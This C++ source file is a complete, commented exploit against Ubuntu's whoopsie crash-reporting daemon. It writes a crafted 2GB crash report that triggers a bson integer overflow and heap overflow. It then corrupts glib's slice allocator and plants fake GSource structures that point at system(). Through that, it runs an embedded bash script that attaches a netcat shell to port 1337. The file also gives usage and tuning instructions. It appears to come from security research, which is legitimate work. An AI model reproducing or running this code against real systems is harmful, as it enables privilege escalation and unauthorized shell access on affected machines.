#include <sys/inotify.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <ctime>
#include <limits>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <string>
#include <iostream>
#include "encoding.h"
#include "utils.hpp"
#include "whoopsie_exploit.hpp"

const char* Main::apport_ignore_name_ = ".apport-ignore.xml";
const char* Main::whoopsie_crash_path_ = "/var/crash/_usr_bin_whoopsie.111.crash";
const char* Main::whoopsie_lock_path_ = "/var/lock/whoopsie";
const char* Main::crash_path_ = "/var/crash/killwhoopsie.crash";
const char* Main::upload_path_ = "/var/crash/killwhoopsie.upload";
const char* Main::uploaded_path_ = "/var/crash/killwhoopsie.uploaded";
const char* Main::lock_path_ = "/var/crash/.lock";
const char* Main::lock_bak_path_ = "/var/crash/.lock.bak";
const char* Main::bogus0_path_ = "/var/crash/bogus0";
const char* Main::bogus1_path_ = "/var/crash/bogus1";
const char* Main::bogus2_path_ = "/var/crash/bogus2";
const char* Main::bogus3_path_ = "/var/crash/bogus3";
const char* Main::kev_sh_path_ = "/tmp/kev.sh";
const size_t Main::crash_report_size_ = 0x81000000;

bool Main::shutdown_ = false;

void Main::ctrl_c_handler(int sig) {
    shutdown_ = true;
    std::cerr <<
      "\n\nSIGINT received.\n"
      "Completing current iteration to shut down cleanly.\n\n";
  }

void Main::set_ctrl_c_handler() {
  if (signal(SIGINT, ctrl_c_handler) == SIG_ERR) {
    throw ErrorWithErrno("could not set signal handler.");
  }
}

// Compute the hash value of the string.
static uint32_t hash_string(const char* str)
{
  uint32_t h = 5381;
  for (; *str; str++) {
    h *= 33;
    h += *str;
  }
  return h;
}

// Modify the characters of the string so that it has the desired hash
// value. We use this to control the order of the keys in the hash table,
// so that they get visited in the order that we want.
static void get_desired_hash(
  char* str, const size_t offset, const size_t n,
  const uint32_t mod, const uint32_t desired_hash
) {
  while ((hash_string(str) % mod) != desired_hash) {
    for (size_t i = 0; true; i++) {
      if (i == n) {
        throw Error("Cannot achieve desired hash.");
      }
      char c = str[offset + i];
      if (c < 0x7f) {
        c++;
        if (c == ':') {
          c++;
        }
        str[offset + i] = c;
        break;
      }
      // Current character wraps around and we move to
      // the next.
      str[offset + i] = 0x21;
    }
  }
}

// whoopsie parses the key-value pairs in the crash report and inserts them
// into a hash-table. Later, when it serializes the hash-table to bson, it
// visits the keys in their hash order.  Since we need to control the order
// in which the keys are serialized, we need to be able to predict their
// hash values. This depends on a modulus value which is related to the
// number of keys in the hash-table. The table of modulus values is defined
// here:
//
// https://gitlab.gnome.org/GNOME/glib/blob/2.56.4/glib/ghash.c#L261
//
// For our purposes, a hash-table with fewer than 31 keys is sufficient, so
// we can use 31 as a fixed constant.
static const uint32_t modulus = 31;

class ReportWriter {
  char* buf_;
  size_t bufsize_;
  size_t pos_;

public:
  ReportWriter(char* buf, size_t bufsize)
    : buf_(buf), bufsize_(bufsize), pos_(0)
  {}

  size_t remaining() const { return bufsize_ - pos_; }

  size_t get_pos() const { return pos_; }

  void write_char(char c) {
    if (remaining() == 0) {
      throw Error("ReportWriter: write_char out-of-bounds");
    }
    buf_[pos_] = c;
    pos_++;
  }

  void write_chars(char c, size_t size) {
    if (size > remaining()) {
      throw Error("ReportWriter: write_chars out-of-bounds");
    }
    memset(buf_ + pos_, c, size);
    pos_ += size;
  }

  void write_string(const char* str) {
    const size_t len = strlen(str);
    if (len > remaining()) {
      throw Error("ReportWriter: write_chars out-of-bounds");
    }
    memcpy(buf_ + pos_, str, len);
    pos_ += len;
  }

  void write_key_value(const char* key, const char* value) {
    write_string(key);
    write_string(": ");
    write_string(value);
    write_char('\n');
  }

  // Write a key-value pair, with an automatically generated key
  // that has the desired hash value.
  void write_autokey_value(const char* value, uint32_t desired_hash) {
    char key[3] = { 0x21, 0x21, 0 };
    get_desired_hash(key, 0, 2, modulus, desired_hash);
    write_key_value(key, value);
  }

  // Write a key-value pair, with an automatically generated key
  // that has the desired hash value.
  void write_autokey_padding(
    char c, size_t len, uint32_t desired_hash, char endchar
  ) {
    char key[3] = { 0x21, 0x21, 0 };
    get_desired_hash(key, 0, 2, modulus, desired_hash);
    write_string(key);
    write_string(": ");
    write_chars(c, len);
    write_char(endchar);
  }

  // Convert the address into a key with the desired hash value and write
  // it to the file with the associated value. The first two characters of
  // the key automatically chosen to achieve the desired hash value.
  void write_address(size_t address, uint32_t desired_hash) {
    char key[11];
    *(size_t*)&key[3] = address;
    key[0] = 0x21;
    key[1] = 0x21;
    key[2] = 0x21;

    // Modify key[2] so that the address is a valid UTF8 string. (We
    // already checked earlier that this is going to succeed.)
    if (!make_string_valid(&key[2])) {
      throw Error("write_address: make_string_valid");
    }

    // Update key[0] and key[1] so that we get the desired hash.
    get_desired_hash(key, 0, 2, modulus, desired_hash);

    // Annoyingly, the size is written to bson in little-endian order,
    // which means that the only way to get a zero byte is by making the
    // size of the value a multiple of 256.
    char value[256];
    memset(value, '!', sizeof(value)-1);
    value[sizeof(value)-1] = '\0';
    write_key_value(key, value);
  }

  // Write a key-value pair with an invalid value. The purpose of this
  // is to pad the hash-table so that it has the correct number of elements
  void write_invalid(size_t len, uint32_t desired_hash) {
    write_autokey_padding('\377', len, desired_hash, '\n');
  }

  void write_invalid_end(size_t len, uint32_t desired_hash) {
    write_autokey_padding('\377', len, desired_hash, '\377');
  }
};

// Utility for mapping the crash report file. It's a simple wrapper around
// AutoMunmap, intended to make the process slightly less verbose.
class MMapCrashFile : public AutoMunmap {
  const int fd_;
  const size_t offset_;

public:
  MMapCrashFile(int fd, size_t bufsize, size_t offset, char initChar) :
    AutoMunmap(bufsize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset),
    fd_(fd),
    offset_(offset)
  {
    // Reset the buffer to its original state.
    memset(get(), initChar, bufsize);
  }
};

// MMapCrashFile with a hardcoded offset for stage 2 of the exploit.
class MMapCrashFile_Stage2 : public MMapCrashFile {
  ReportWriter writer_;

public:
  MMapCrashFile_Stage2(int fd) :
    MMapCrashFile(fd, 0x2000, 0x80007000, 'x'),
    writer_((char*)get(), size())
  {}

  ReportWriter& writer() { return writer_; }
};

// The comments in the rest of this file are based on the following
// example run:
//
// &glib_worker_context->source_lists == 0x5578fba22d70
// mmap_base_addr_: 0x7f2c90000000
// system_addr_: 0x7f2cabcd1440
// modified mmap_base_addr_ (good):    0x7f2c90c20000
// modified malloc_string_addr_ (good): 0x7f2b90c27000
//
// The prefix of the base address, 0x7f2c90, changes on every run,
// but the offsets, like the 0x6f40 in 0x7f2c90006f40, do not.
//
// Exploit plan:
//
// 1. The memory region between approximately 0x7f2c90006f00 and
//    0x7f2c90007300 contains a singly linked list of 16 byte blocks that
//    form a "magazine" in the gslice allocator. After a block has been
//    allocated and freed, does not get returned to the original but
//    instead gets pushed on a separate free list. (I think this is
//    supposed be an optimization that improves cache performance.) From
//    our perspective, the interesting consequence of this is that the
//    linked list gets reversed.
// 2. The elements of the linked list are not consecutive in memory. They
//    start in the 7200 range and then jump to the 6f00 range. Again, this
//    is apparently deliberate. From our perspective, it is nice because it
//    gives us an opportunity to corrupt the block with the lowest address
//    before it gets used. The address of the block that we will target is
//    0x7f2c90006f40.
// 3. We overwrite the block at address 0x7f2c90006f40 so that its next
//    pointer points to 0x7f2c90006d70. We create a chain of three fake
//    blocks at these addresses: 0x7f2c90006d70, 0x7f2c90006c50,
//    0x7f2c90006b50.
// 4. We make the next pointer of the block at address 0x7f2c90006b50
//    point to 0x7f2b90c27050. That address will be temporarily valid
//    during parse_report: its where the 2GB string gets malloc-ed.
// 5. We update the appropriate page of the crash report so that when it
//    gets memcpy-ed into the malloc-ed string it creates a valid-looking
//    memory block at address 0x7f2b90c27050. This block has a next pointer
//    which points to &glib_worker_context->source_lists.
// 6. We trigger some activity which causes several blocks to get allocated
//    and freed, causing the linked list to get reversed. The effect of
//    this is that glib_worker_context->source_lists now points to
//    0x7f2b90c27050, which points to 0x7f2c90006b50, which points to
//    0x7f2b90c27070 (due to one final application of the heap overflow).
//    At address 0x7f2b90c27070, we have created a fake object of type
//    GSource. The fake GSource object contains some function pointers
//    which will get invoked due to the activity which we triggered. We
//    have, of course, set those pointers to point to `system` so that
//    our bash script will get invoked.

// The offset of the magazine block that we are going to corrupt. (We will
// modify it's next pointer, so that the gslice allocator will start
// allocating from a list of fake blocks which we have created.)  Note: you
// may need to tweak this offset to get the exploit to work.  It seems to
// depend a bit on the environment. I have found that I need to use the
// offset 0x6f40 when I am in the office and 0x7040 when I am at home.
static const size_t magazine_offset = 0x6f40;

// In step 0, we will corrupt the magazine block at address 0x7f2c90006f40.
// Before we run this step, the memory looks like this:
//
//   0x7f2c90006f40:	0x90006f50	0x00007f2c	0x00000000	0x00000000
//   0x7f2c90006f50:	0x90006f60	0x00007f2c	0x00000000	0x00000000
//   0x7f2c90006f60:	0x90006f80	0x00007f2c	0x00000000	0x00000000
//
// After triggering step 0, it looks like this:
//
//   0x7f2c90006f40:	0x90006d70	0x00007f2c	0x00000000	0x00000000
//
// We also start modifying the block at address 0x7f2c90006d70, because it
// takes two passes to write an address with a zero byte in the middle:
//
//   0x7f2c90006d70:	0x00787878	0x21222402	0x90c22121	0x00007f2c
//
void write_step0(
  int fd, const size_t mmap_base_addr_utf8, const size_t magoffset
) {
  MMapCrashFile_Stage2 m(fd);

  // This page of the file starts in the middle of a previous "value".
  // We need to make the value a specific length so that our memory
  // corruption will happen at the correct offset.
  m.writer().write_chars('x', magazine_offset - 0x61e9);
  m.writer().write_char('\n');

  // 0x7f2c90006d70:	0x00787878	0x21222402	0x90c22121	0x00007f2c
  m.writer().write_address(mmap_base_addr_utf8, 3);

  // Insert some padding bytes to get to the next important address.
  m.writer().write_autokey_padding('x', 0xac, 4, '\n');

  // 0x7f2c90006f40:	0x90006d70	0x00007f2c	0x00000000	0x00000000
  m.writer().write_autokey_value((const char*)&magoffset, 5);

  // Add bogus values so that the hash table has enough elements.
  m.writer().write_invalid(1, 6);
  m.writer().write_invalid(1, 7);
  m.writer().write_invalid(1, 8);
  m.writer().write_invalid(1, 9);
  m.writer().write_invalid_end(1, 10);

  m.sync();
}

// This step finishes corrupting the block at address 0x7f2c90006d70:
//
//   0x7f2c90006d70:	0x00212b02	0x00000003	0x90006c50	0x00007f2c
//
// It also starts corrupting the block at address 0x7f2c90006c50:
//
//   0x7f2c90006c50:	0x90c22121	0x00007f2c	0x21000001	0x21212121
//
void write_step1(
  int fd, const size_t mmap_base_addr_utf8, const size_t magoffset
) {
  MMapCrashFile_Stage2 m(fd);

  // This page of the file starts in the middle of a previous "value".
  // We need to make the value a specific length so that our memory
  // corruption will happen at the correct offset.
  m.writer().write_chars('x', magazine_offset - 0x6311);
  m.writer().write_char('\n');

  // 0x7f2c90006c50:	0x90c22121	0x00007f2c	0x21000001	0x21212121
  m.writer().write_address(mmap_base_addr_utf8, 3);

  // Insert some padding bytes to get to the next important address.
  m.writer().write_autokey_padding('!', 4 + 8, 4, '\n');

  // 0x7f2c90006d70:	0x00212b02	0x00000003	0x90006c50	0x00007f2c
  m.writer().write_autokey_value((const char*)&magoffset, 5);

  // Add bogus values so that the hash table has enough elements.
  m.writer().write_invalid(1, 6);
  m.writer().write_invalid(1, 7);
  m.writer().write_invalid(1, 8);
  m.writer().write_invalid(1, 9);
  m.writer().write_invalid_end(1, 10);

  m.sync();
}

// This step finishes corrupting the block at address 0x7f2c90006c50:
//
//   0x7f2c90006c50:	0x90006b50	0x00007f2c	0x21000001	0x21212121
//
// It also starts corrupting the block at address 0x7f2c90006b50:
//
//   0x7f2c90006b50:	0x00212a02	0x00000008	0x21212121	0x00212121
//
// That might look like pure garbage, but all we need is a '\0' byte at
// address 0x7f2c90006b57 (the top byte of the address). The next step is
// going to write 6 bytes and a trailing '\0' so we just need to prepare
// the 8th byte.
void write_step2(int fd, const size_t magoffset) {
  MMapCrashFile_Stage2 m(fd);

  // This page of the file starts in the middle of a previous "value".
  // We need to make the value a specific length so that our memory
  // corruption will happen at the correct offset.
  m.writer().write_chars('x', magazine_offset - 0x640d);
  m.writer().write_char('\n');

  // 0x7f2c90006b50:	0x00212a02	0x00000008	0x21212121	0x00212121
  m.writer().write_autokey_value("!!!!!!!", 3);

  // Insert some padding bytes to get to the next important address.
  m.writer().write_autokey_padding('!', 0xdf, 4, '\n');

  // 0x7f2c90006c50:	0x90006b50	0x00007f2c	0x21000001	0x21212121
  m.writer().write_autokey_value((const char*)&magoffset, 5);

  // Add bogus values so that the hash table has enough elements.
  m.writer().write_invalid(1, 6);
  m.writer().write_invalid(1, 7);
  m.writer().write_invalid(1, 8);
  m.writer().write_invalid(1, 9);
  m.writer().write_invalid_end(1, 10);

  m.sync();
}

// Overwrite the next pointer at address 0x7f2c90006b50:
//
//   0x7f2c90006b50:	0x90c27050	0x00007f2b	0x21212121	0x00212121
//
void write_step3(int fd, const size_t malloc_string_addr_) {
  MMapCrashFile_Stage2 m(fd);

  // This page of the file starts in the middle of a previous "value".
  // We need to make the value a specific length so that our memory
  // corruption will happen at the correct offset.
  m.writer().write_chars('x', magazine_offset - 0x6415);
  m.writer().write_char('\n');

  // 0x7f2c90006b50:	0x90c27050	0x00007f2b	0x21212121	0x00212121
  m.writer().write_autokey_value((const char*)&malloc_string_addr_, 3);

  // Add bogus values so that the hash table has enough elements.
  m.writer().write_invalid(1, 4);
  m.writer().write_invalid(1, 5);
  m.writer().write_invalid(1, 6);
  m.writer().write_invalid(1, 7);
  m.writer().write_invalid(1, 8);
  m.writer().write_invalid(1, 9);
  m.writer().write_invalid_end(1, 10);

  m.sync();
}

// This function is actually identical to `write_step3`. But they are
// conceptually separate steps, so I decided to keep them as separate
// functions. The practical difference is that `write_step4` is called with
// a `malloc_string_addr_` value 0x20 larger than `write_step3`.  This
// memory corruption happens immediately after the block at address
// 0x7f2c90006b50 has been allocated and freed. This means that
// 0x7f2c90006b50 is at the head of the free list and the next block that
// is freed will have its next pointer set to 0x7f2c90006b50. But we are
// updating the pointer at 0x7f2c90006b50 so that it points back into the
// malloc-ed string that we control. This creates a chain of pointers that
// redirects glib_worker_context->source_lists to a function pointer that
// we control.
void write_step4(int fd, size_t malloc_string_addr_) {
  MMapCrashFile_Stage2 m(fd);

  // This page of the file starts in the middle of a previous "value".
  // We need to make the value a specific length so that our memory
  // corruption will happen at the correct offset.
  m.writer().write_chars('x', magazine_offset - 0x6415);
  m.writer().write_char('\n');

  // 0x7f2c90006b50:	0x90c27070	0x00007f2b	0x21212121	0x00212121
  m.writer().write_autokey_value((const char*)&malloc_string_addr_, 3);

  // Add bogus values so that the hash table has enough elements.
  m.writer().write_invalid(1, 4);
  m.writer().write_invalid(1, 5);
  m.writer().write_invalid(1, 6);
  m.writer().write_invalid(1, 7);
  m.writer().write_invalid(1, 8);
  m.writer().write_invalid(1, 9);
  m.writer().write_invalid_end(1, 10);

  m.sync();
}

// Fake version of a glib struct.
struct GSourceFuncs {
  size_t prepare;
  size_t check;
  size_t dispatch;
  size_t finalize;
};

// Fake version of a glib struct.
struct GSource {
  void* callback_data;
  void *callback_funcs;
  size_t source_funcs;
  uint32_t ref_count;
  void *context;
  int32_t priority;
  uint32_t flags;
  uint32_t source_id;
  void *poll_fds;
  GSource *prev;
  GSource *next;
  char *name;
  void *priv;
};

// This is the final step to prepare everything so that `system` will be
// called. Everything is set up so that the next call to g_slice_new (in
// g_file_monitor_source_add_pending_change) will allocate the final fake
// magazine chunk that we constructed through the heap overflow. And the
// next call to g_slice_new after that will allocate a magazine chunk at
// the address `malloc_string_addr_ + 0x70`. That's an address that will be
// temporarily valid while parse_report is running on the crash report that
// we are going to construct here in step 5. So in this step we are going
// to replace one page of the file with some fake heap datastructures of
// type `GSource` and `GSourceFuncs`, which will lead to code execution.
void write_step5(
  int fd, const char* scriptname,
  size_t mmap_base_addr, size_t malloc_string_addr,
  size_t source_lists_addr, size_t system_addr
) {
  // string_address is the start address of the 2GB region that
  // wiil get allocated by `g_malloc`.
  // https://git.launchpad.net/ubuntu/+source/whoopsie/tree/src/whoopsie.c?id=import/0.2.62ubuntu1#n506
  const size_t string_address = mmap_base_addr - 0x101000000;

  // Calculate which page of the file we need to mmap.
  const size_t file_offset = malloc_string_addr - string_address;
  const size_t bufsize = 0x1000;

  // Note: this will memset the page with zeros, which means that the
  // contents of the file will no longer be a valid crash report. But that
  // doesn't matter because we're going to trigger the exploit before
  // whoopsie has noticed that the contents are invalid.
  MMapCrashFile m(fd, bufsize, file_offset, 0);

  // The file starts with "AptConfig: ", so we need to add 11 to the offset.
  // However, the first 16 bytes are used for the malloc chunk header, so
  // we also need to subtract 16.
  char *buf = (char*)m.get() + 11 - 16;

  // Create a fake magazine chunk.
  *(size_t*)&buf[0x50] = source_lists_addr;

  // Create a fake GSource.
  GSource* source = (GSource*)&buf[0x70];
  memcpy(source, scriptname, strlen(scriptname) + 1);
  source->source_funcs = malloc_string_addr + 0x70 + 0x60;
  source ->flags = 1;

  // Create a fake GSourceFuncs.
  GSourceFuncs* sourcefuncs = (GSourceFuncs*)&buf[0x70 + 0x60];
  sourcefuncs->prepare = system_addr;
  sourcefuncs->check = system_addr;
  sourcefuncs->dispatch = system_addr;
  sourcefuncs->finalize = system_addr;

  m.sync();
}

// For the exploit to work, we need to minimize the number of file changes
// that whoopsie observes in `/var/crash`. Every file change triggers a
// call to `g_file_monitor_source_add_pending_change`, which calls
// `g_slice_new` to allocate a 16 byte buffer. Those 16 byte buffers are
// taken from a relatively short free-list, which we need to corrupt before
// the allocation happens. Luckily, if we use mmap to modify the contents of
// the crash file, then no event is triggered. However, changing the length
// of the file does trigger an event. So in this first step, we will modify
// the crash file so that the tail of the file contains an illegal element
// which will get ignored during processing.
void Main::runExploit_stage1(const int fd) const {
  // mmap the final page of the file.
  const size_t file_offset = crash_report_size_ - 0x1000;

  // Make the size 0x1000 - 1, so that we don't overwrite the '\n' at the
  // end of the file.
  const size_t bufsize = 0x1000 - 1;

  MMapCrashFile m(fd, bufsize, file_offset, '\377');
  m.sync();
}

void Main::check_whoopsie_hasnt_crashed() const {
  if (whoopsie_pid_ != search_whoopsie_pid()) {
    // Don't return immediately, because we delete files like
    // /var/crash/.lock on exit. If we do that too quickly then apport will
    // create them and we won't be able to delete them.
    sleep(30);
    throw Error("The exploit made whoopsie crash");
  }
}

long Main::trigger_whoopsie(const int inotify_fd) {
  // Touch the upload file and wait for whoopsie to open the crash file.
  add_watch(inotify_fd, crash_path_, IN_OPEN | IN_ONESHOT);

  touch_file(AT_FDCWD, upload_path_, S_IRWXU | S_IRWXG | S_IRWXO);
  fd_wait_for_read(inotify_fd);
  drain_fd(inotify_fd);

  // The file has been opened, so start a timer.
  timespec starttime;
  clock_gettime(CLOCK_MONOTONIC, &starttime);

  // Remove the upload file so that it doesn't get processed twice.
  unlink(upload_path_);
  // Now wait for whoopsie to close the crash file.
  add_watch(inotify_fd, crash_path_, IN_CLOSE_NOWRITE | IN_ONESHOT);
  fd_wait_for_read(inotify_fd);
  drain_fd(inotify_fd);

  // Stop the timer.
  timespec endtime;
  clock_gettime(CLOCK_MONOTONIC, &endtime);

  // Calculate the time difference.
  long diff =
    (1000000000 * (endtime.tv_sec - starttime.tv_sec)) +
    (endtime.tv_nsec - starttime.tv_nsec);

  std::cout
    << "Elapsed time: " << diff << " nanoseconds\n";

  return diff;
}

void Main::trigger_whoopsie_final(const int inotify_fd, long mmap_duration) {
  // Touch the upload file and wait for whoopsie to open the crash file.
  add_watch(inotify_fd, crash_path_, IN_OPEN | IN_ONESHOT);

  touch_file(AT_FDCWD, upload_path_, S_IRWXU | S_IRWXG | S_IRWXO);
  fd_wait_for_read(inotify_fd);
  drain_fd(inotify_fd);

  // Pause for 50% of the amount of time that whoopsie normally has the
  // file open.
  mmap_duration = mmap_duration / 2;

  // The file has been opened, so start a timer.
  timespec duration;
  duration.tv_sec = mmap_duration / 1000000000;
  duration.tv_nsec = mmap_duration % 1000000000;
  clock_nanosleep(CLOCK_MONOTONIC, 0, &duration, 0);

  // Trigger some activity, so that the magazine blocks will be allocated
  // while the file is still open.
  AutoCreateAndDeleteFile bogus1(
    AT_FDCWD, bogus1_path_, "", 0, S_IRWXU | S_IRWXG | S_IRWXO
  );
  AutoCreateAndDeleteFile bogus2(
    AT_FDCWD, bogus2_path_, "", 0, S_IRWXU | S_IRWXG | S_IRWXO
  );
  AutoCreateAndDeleteFile bogus3(
    AT_FDCWD, bogus3_path_, "", 0, S_IRWXU | S_IRWXG | S_IRWXO
  );

  // Note: we have not confirmed here whether netcat has actually started,
  // so this statement isn't always true, unfortunately. (I was too lazy to
  // implement a proper check to see if netcat is running now.) The exploit
  // can be a bit unreliable, so sometimes whoopsie crashes on the final
  // step without running `kev.sh`.
  std::cout << "Your shell is ready on port 1337.\n";

  // Give whoopsie time to crash before we clean up all the files we
  // created.
  sleep(5);
}

void Main::runExploit_stage2(const int fd) const {
  // Copy the mmap address into an 8 byte buffer and update the low 3
  // bytes, so that the string won't be rejected by whoopsie's parser and
  // bson's UTF8 checker. These addresses contain a 0 byte in the middle,
  // so they always take two passes to print.
  size_t mmap_base_addr_utf8 = mmap_base_addr_;
  memset(&mmap_base_addr_utf8, 0x21, 3);
  if (!make_string_valid(2 + (char*)&mmap_base_addr_utf8)) {
    throw Error("write_address: make_string_valid");
  }

  // Initialize inotify.
  const AutoCloseFD inotify_fd(inotify_init1(IN_NONBLOCK | IN_CLOEXEC));
  if (inotify_fd.get() < 0) {
    throw ErrorWithErrno("inotify_init1 failed");
  }

  // The minimum amount of time that whoopsie keeps the file open.
  long mmap_duration = std::numeric_limits<long>::max();

  std::cout << "Starting step 0\n";
  check_whoopsie_hasnt_crashed();
  write_step0(fd, mmap_base_addr_utf8, magazine_offset - 0x1d0);
  mmap_duration =
    std::min(mmap_duration, trigger_whoopsie(inotify_fd.get()));

  std::cout << "Starting step 1\n";
  check_whoopsie_hasnt_crashed();
  write_step1(fd, mmap_base_addr_utf8, magazine_offset - 0x2f0);
  mmap_duration =
    std::min(mmap_duration, trigger_whoopsie(inotify_fd.get()));

  std::cout << "Starting step 2\n";
  check_whoopsie_hasnt_crashed();
  write_step2(fd, magazine_offset - 0x3f0);
  mmap_duration =
    std::min(mmap_duration, trigger_whoopsie(inotify_fd.get()));

  std::cout << "Starting step 3\n";
  check_whoopsie_hasnt_crashed();
  write_step3(fd, malloc_string_addr_ + 0x50);
  mmap_duration =
    std::min(mmap_duration, trigger_whoopsie(inotify_fd.get()));

  // We need to pop an element off the list of blocks in the magazine, so
  // that the next block to be allocated will be the fake block that we
  // constructed in step 3. So we create a bogus file in /var/crash to
  // trigger an allocation.
  AutoCreateAndDeleteFile bogus0(
    AT_FDCWD, bogus0_path_, "", 0, S_IRWXU | S_IRWXG | S_IRWXO
  );

  std::cout << "Starting step 4\n";
  check_whoopsie_hasnt_crashed();
  write_step4(fd, malloc_string_addr_ + 0x70);
  mmap_duration =
    std::min(mmap_duration, trigger_whoopsie(inotify_fd.get()));

  std::cout << "Starting step 5\n";
  check_whoopsie_hasnt_crashed();
  write_step5(
    fd, kev_sh_path_, mmap_base_addr_, malloc_string_addr_,
    source_lists_addr_, system_addr_);

  trigger_whoopsie_final(inotify_fd.get(), mmap_duration);
}

void Main::runExploit() const {
  AutoCloseFD crash_fd(open(crash_path_, O_RDWR | O_CLOEXEC, 0));

  runExploit_stage1(crash_fd.get());
  runExploit_stage2(crash_fd.get());
}

void Main::init_whoopsie_crash_file(const int crash_fd) {
  std::time_t t = std::time(nullptr);
  char buf[128];
  const size_t size =
    std::strftime(
      buf, sizeof(buf), "Date: %c\nCrashCounter: 2\n", std::localtime(&t)
    );
  if (size <= 0 || write(crash_fd, buf, size) != (ssize_t)size) {
    throw Error("Could not write whoopsie crash file.");
  }
}

// Create a crash report which is guaranteed to crash whoopsie.
// The size of the file is 0x81000000 (2.1G) .
void Main::init_large_crash_file(const int crash_fd) {
  // Create a value that requires just under 2GB of storage in
  // the bson struct.
  const char *name1 = "AptConfig";
  write_or_throw(crash_fd, name1, strlen(name1));
  write_or_throw(crash_fd, ": ", 2);
  write_repeated_buffer(crash_fd, "kevwozere", 9, 0x7FFFFF00);
  write_or_throw(crash_fd, "\n", 1);

  // Add another value which triggers an integer overflow here:
  // https://bazaar.launchpad.net/~daisy-pluckers/whoopsie/trunk/view/698/lib/bson/bson.c#L613
  // Due to this integer overflow, bson_ensure_space fails to detect that
  // more memory needs to be allocated, which leads to a heap buffer
  // overflow.
  const char *name2 = "Registers";
  write_or_throw(crash_fd, name2, strlen(name2));
  write_or_throw(crash_fd, ": ", 2);
  write_repeated_buffer(crash_fd, "kevwozere", 9, 0x10000d2);
  write_or_throw(crash_fd, "\n", 1);

  // Add a value that will cause `bson_validate_string` to fail,
  // so that whoopsie won't attempt to upload the bogus report.
  const char *name3 = "UnreportableReason";
  write_or_throw(crash_fd, name3, strlen(name3));
  write_or_throw(crash_fd, ": \377\n", 4);
}

void usage(const char* progname) {
  std::cerr
    << "Usage:\n"
    << "  " << progname << " <numpids>\n"
    << "\n"
    << "The value of 'numpids' is the number of new pids that will be\n"
    << "created during the restart of whoopsie. Unfortunately it\n"
    << "isn't possible to predict this number exactly, due to the\n"
    << "non-determinism caused by multiple processes getting started\n"
    << "almost simulateously. So you will have to experiment a bit to\n"
    << "see what works best on your system. When the exploit fails,\n"
    << "it will recommend an adjustment to this number. On your first\n"
    << "run, try starting with 10.\n"
    << "\n";
}

// This is the exploit script which we intend to invoke (using system).
// It uses netcat to attach a shell to port 1337.
static const char kev_sh_text[] =
  "#!/bin/bash\n"
  "fifoname=$(mktemp -u)\n"
  "mkfifo $fifoname\n"
  "cat $fifoname | /bin/bash 2>&1 | nc -l 127.0.0.1 1337 > $fifoname &\n"
  "rm $fifoname\n";

Main::Main(const char* homedir, size_t numpids) :
  homedir_(homedir),
  numpids_(numpids),
  ignore_path_(std::string(homedir) + "/" + apport_ignore_name_),
  ignore_file_(
    AT_FDCWD, ignore_path_.c_str(),
    "kevwozere", 9, S_IRWXU | S_IRWXG | S_IRWXO
  ),
  whoopsie_aslr_crash_report_filename_(
    std::string("/var/crash/_usr_bin_whoopsie.") +
    std::to_string(getuid()) +
    std::string(".crash")
  ),
  whoopsie_aslr_crash_report_autounlink_(
    AT_FDCWD,
    whoopsie_aslr_crash_report_filename_.c_str()
  ),
  upload_file_autounlink_(AT_FDCWD, Main::upload_path_),
  uploaded_file_(
    AT_FDCWD, Main::uploaded_path_, "", 0, S_IRUSR | S_IWUSR
  ),
  lock_file_(
    AT_FDCWD, Main::lock_path_, "", 0, S_IRWXU | S_IRWXG | S_IRWXO
  ),
  kev_sh_file_(
    AT_FDCWD, Main::kev_sh_path_, kev_sh_text, sizeof(kev_sh_text),
    S_IRWXU | S_IRGRP| S_IXGRP | S_IROTH | S_IXOTH
  ),
  fake_whoopsie_crash_file_(
    AT_FDCWD, whoopsie_crash_path_, S_IRUSR | S_IWUSR | S_IRGRP,
    init_whoopsie_crash_file
  ),
  large_crash_file_(
    AT_FDCWD, crash_path_, S_IRUSR | S_IWUSR | S_IRGRP,
    init_large_crash_file
  ),
  whoopsie_pid_(0),
  source_lists_addr_(0),
  mmap_base_addr_(0),
  system_addr_(0)
{};

int main(int argc, char* argv[]) {
  try {
    if (argc != 2) {
      usage(argv[0]);
      throw Error("Bad command line arguments.");
    }

    const int numpids = atoi(argv[1]);
    if (numpids < 1) {
      throw Error("Bad command line argument: <numpids> must be at least 1.");
    }

    const char* homedir = getenv("HOME");
    if (!homedir) {
      throw Error("HOME environment variable is not set.");
    }

    Main::set_ctrl_c_handler();

    Main m(homedir, static_cast<size_t>(numpids));
    m.runUntilGoodAddr();
    m.runExploit();

    return EXIT_SUCCESS;
  } catch (ErrorWithErrno& e) {
    int err = e.getErrno();
    std::cerr << e.what() << "\n" << strerror(err) << "\n";
    return EXIT_FAILURE;
  } catch (std::exception& e) {
    std::cerr << e.what() << "\n";
    return EXIT_FAILURE;
  }
}
